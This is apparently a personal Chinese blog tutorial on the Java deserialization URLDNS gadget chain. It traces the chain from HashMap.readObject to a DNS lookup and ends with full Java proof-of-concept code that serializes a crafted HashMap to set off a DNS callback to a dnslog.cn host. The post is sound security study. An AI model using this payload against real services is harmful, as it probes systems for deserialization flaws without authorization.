nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

java反序列化之URLDNS链

前言

这个链虽然没有什么危害,但是它是最简单的一条链,能够帮助我们学习java反序列化

分析链子

首先我们需要找到入口类,就是重写了readobject方法的类,一般我们中意HashMap的readObject()方法
2024-02-29T05:30:25.png
我们发现它在循环读取键值的时候会调用hash方法
2024-02-29T05:31:30.png
我们追到hash方法2024-02-29T05:31:49.png
发现会调用传入对象的hashcode方法,而且对象可以控制
我们一般希望出口类是runtime,这里我们的出口是url类
我们首先看到url类
2024-02-29T05:33:41.png
发现它也有hashcode方法
会先判断当前URL对象的hashCode是否为-1,不为-1则直接返回hashCode,如果为-1,则进入到handler.hashCode()方法。这里的-1为URL对象hashCode 的初始值,handler为URLStreamHander 对象,且带有transient,即不参与序列化
我们继续跟进handler.hashCode()
2024-02-29T05:34:35.png
调用了getHostAddress()方法,看方法名是获取主机地址,继续跟进
2024-02-29T05:34:49.png
看到InetAddress.getByName(host),看方法名是根据主机名字获取网络地址,这不就是一个DNS请求么?跟到这里就不需要再跟了。这就是URLDNS链了。
现在我们来总结分析一下这个链子
首先是反序列化进入hashmap的readobject方法,然后会调用hash方法,hash方法会传入一个对象,调用对象的hashcode,正好url里有hashcode,然后url的这个方法会调用handler.hashCode(),handler.hashCode()中会调用getHostAddress()方法,法会使用InetAddress.getByName(host)方法即根据主机名字获取网络地址,从而触发了DNS请求。

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

2024-02-29T05:37:45.png
我们写一下poc
2024-02-29T05:38:35.png
有一些细节的东西
如果我们不把hashcode设置的话
hashmap利用put存入数据的时候也会调用putVal函数,从而也进入上面的利用链2024-02-29T05:43:00.png
这就导致我们在生成payload的时候就会进行一次dns查询,为了能看清是反序列化造成的dns请求,这里需要规避一下生成payload时的dns请求。
我们只需要在调用链的其中一步将其阻止就行。这里可以看到先判断hashcode值是否为-1,如果不是就直接返回,从而不会执行到handler.hashcode。但是上面分析过hashcode是一个私有变量不能设置,所以这里可以通到反射将其强制转换为公有的,然后设置成其他值。这样链子就会在URL->hashcode处断掉,从而就不会调用gethostbyname了。
2024-02-29T05:43:27.png

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://xxx.dnslog.cn/");
        Class clas = Class.forName("java.net.URL");
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123); //将url的hashcode属性改为123使其不等于-1
        map.put(url,"2333"); //这里的value用不上,随便设置
        field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
        try {
            //序列化
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            //反序列化,此时触发dns请求
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » java反序列化之URLDNS链

评论